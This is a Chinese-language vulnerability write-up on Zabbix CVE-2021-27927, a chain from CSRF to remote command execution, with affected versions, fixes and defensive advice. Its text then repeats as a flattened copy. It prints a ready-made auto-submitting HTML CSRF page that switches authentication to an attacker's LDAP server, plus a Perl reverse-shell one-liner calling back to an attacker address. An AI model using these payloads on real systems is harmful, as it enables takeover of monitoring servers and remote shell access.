详解CVE-2021-27927漏洞:从CSRF到RCE
字数 1546 2025-08-06 08:35:41

Zabbix CVE-2021-27927 漏洞分析与利用教学文档

漏洞概述

CVE-2021-27927 是 Zabbix 企业监控系统中存在的一个高危漏洞,该漏洞结合了 CSRF(跨站请求伪造)和 RCE(远程代码执行)两种攻击方式。攻击者可以诱骗已认证的 Zabbix 管理员点击恶意链接,从而完全接管 Zabbix 系统并获得远程命令执行权限。

受影响版本

  • Zabbix 4.0.28rc1 之前的 4.x 版本
  • Zabbix 5.0.8rc1 之前的 5.0.x 版本
  • Zabbix 5.2.4rc1 之前的 5.2.x 版本
  • Zabbix 5.4.0alpha1 之前的 5.4.x 版本

漏洞背景知识

CSRF 原理

  1. 受害者已登录目标网站(浏览器存储有效会话 cookie)
  2. 攻击者诱骗受害者点击恶意链接(通过钓鱼邮件、聊天等方式)
  3. 恶意网站代码向目标网站发送 API 请求
  4. 浏览器自动附带受害者的会话 cookie
  5. 目标网站无法区分合法请求和恶意请求,执行攻击者指定的操作

Zabbix 的 CSRF 防护机制

Zabbix 通常使用反 CSRF 令牌(sid 参数)防御 CSRF 攻击:

  • 令牌通过请求正文传递
  • 后端同时验证会话 cookie 和反 CSRF 令牌
  • 缺少或错误的 sid 参数会导致请求失败

SameSite Cookie 属性

现代浏览器默认设置 SameSite=Lax,这意味着:

  • 仅当请求是 GET 且影响顶级导航(如点击链接)时才发送 cookie
  • 加载图片或脚本等非顶级导航请求不会发送 cookie

漏洞详情

漏洞位置

CControllerAuthenticationUpdate 控制器类在处理身份验证设置更新时关闭了 CSRF 令牌验证

漏洞利用特点

  1. 无需 CSRF 令牌:身份验证设置更新操作不验证 sid 参数
  2. GET/POST 等效:Zabbix 允许通过 GET 请求的 URL 参数提交原本需要 POST 的数据
  3. 非盲打攻击:Zabbix 会测试 LDAP 连接,攻击者可立即知道攻击是否成功

漏洞利用步骤

第一阶段:CSRF 攻击接管账户

  1. 搭建恶意 LDAP 服务器

    • 设置攻击者控制的 Active Directory 服务器(示例 IP: 10.0.229.1)
    • 创建与 Zabbix 管理员同名的用户(如 "Admin")
    • 设置已知密码(如 "Z@bb1x!")
  2. 创建恶意 HTML 页面

<html>
<body>
<p>Any web site</p>
<a id='link' href='http://[target]/zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update'></a>
<script>document.getElementById('link').click();</script>
</body>
</html>
  1. 诱骗管理员点击链接
    • 攻击成功后,Zabbix 身份验证方式将改为 LDAP
    • 攻击者可用 LDAP 中的凭据登录

第二阶段:远程命令执行

  1. 利用管理员权限访问 Scripts 功能

    • Zabbix 内置脚本功能允许在服务器/代理上执行命令
  2. 创建或修改脚本

    • 示例:修改"Detect Operating Systems"脚本添加反向 shell payload
    perl -e 'use Socket;$i="[attack_ip]";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
  3. 执行脚本获取反向 shell

    • 在仪表板执行修改后的脚本
    • 攻击者监听端口接收 shell

漏洞修复方案

升级至以下修复版本之一:

  • Zabbix 4.0.28rc1
  • Zabbix 5.0.8rc1
  • Zabbix 5.2.4rc1
  • Zabbix 5.4.0alpha1

防御措施

  1. 及时更新 Zabbix 到最新版本
  2. 限制 Zabbix 管理界面的访问(IP 白名单、VPN 等)
  3. 对管理员进行安全意识培训,防范钓鱼攻击
  4. 监控 Zabbix 配置变更,特别是身份验证设置

时间线

  • 2021年1月3日:漏洞披露
  • 2021年1月13日:供应商修复
  • 2021年3月3日:公开细节

参考资源

Zabbix CVE-2021-27927 漏洞分析与利用教学文档 漏洞概述 CVE-2021-27927 是 Zabbix 企业监控系统中存在的一个高危漏洞,该漏洞结合了 CSRF(跨站请求伪造)和 RCE(远程代码执行)两种攻击方式。攻击者可以诱骗已认证的 Zabbix 管理员点击恶意链接,从而完全接管 Zabbix 系统并获得远程命令执行权限。 受影响版本 Zabbix 4.0.28rc1 之前的 4.x 版本 Zabbix 5.0.8rc1 之前的 5.0.x 版本 Zabbix 5.2.4rc1 之前的 5.2.x 版本 Zabbix 5.4.0alpha1 之前的 5.4.x 版本 漏洞背景知识 CSRF 原理 受害者已登录目标网站(浏览器存储有效会话 cookie) 攻击者诱骗受害者点击恶意链接(通过钓鱼邮件、聊天等方式) 恶意网站代码向目标网站发送 API 请求 浏览器自动附带受害者的会话 cookie 目标网站无法区分合法请求和恶意请求,执行攻击者指定的操作 Zabbix 的 CSRF 防护机制 Zabbix 通常使用反 CSRF 令牌( sid 参数)防御 CSRF 攻击: 令牌通过请求正文传递 后端同时验证会话 cookie 和反 CSRF 令牌 缺少或错误的 sid 参数会导致请求失败 SameSite Cookie 属性 现代浏览器默认设置 SameSite=Lax,这意味着: 仅当请求是 GET 且影响顶级导航(如点击链接)时才发送 cookie 加载图片或脚本等非顶级导航请求不会发送 cookie 漏洞详情 漏洞位置 CControllerAuthenticationUpdate 控制器类在处理身份验证设置更新时 关闭了 CSRF 令牌验证 。 漏洞利用特点 无需 CSRF 令牌 :身份验证设置更新操作不验证 sid 参数 GET/POST 等效 :Zabbix 允许通过 GET 请求的 URL 参数提交原本需要 POST 的数据 非盲打攻击 :Zabbix 会测试 LDAP 连接,攻击者可立即知道攻击是否成功 漏洞利用步骤 第一阶段:CSRF 攻击接管账户 搭建恶意 LDAP 服务器 设置攻击者控制的 Active Directory 服务器(示例 IP: 10.0.229.1) 创建与 Zabbix 管理员同名的用户(如 "Admin") 设置已知密码(如 "Z@bb1x !") 创建恶意 HTML 页面 诱骗管理员点击链接 攻击成功后,Zabbix 身份验证方式将改为 LDAP 攻击者可用 LDAP 中的凭据登录 第二阶段:远程命令执行 利用管理员权限访问 Scripts 功能 Zabbix 内置脚本功能允许在服务器/代理上执行命令 创建或修改脚本 示例:修改"Detect Operating Systems"脚本添加反向 shell payload 执行脚本获取反向 shell 在仪表板执行修改后的脚本 攻击者监听端口接收 shell 漏洞修复方案 升级至以下修复版本之一: Zabbix 4.0.28rc1 Zabbix 5.0.8rc1 Zabbix 5.2.4rc1 Zabbix 5.4.0alpha1 防御措施 及时更新 Zabbix 到最新版本 限制 Zabbix 管理界面的访问(IP 白名单、VPN 等) 对管理员进行安全意识培训,防范钓鱼攻击 监控 Zabbix 配置变更,特别是身份验证设置 时间线 2021年1月3日:漏洞披露 2021年1月13日:供应商修复 2021年3月3日:公开细节 参考资源 Zabbix 官方 GitHub CVE-2021-27927 漏洞详情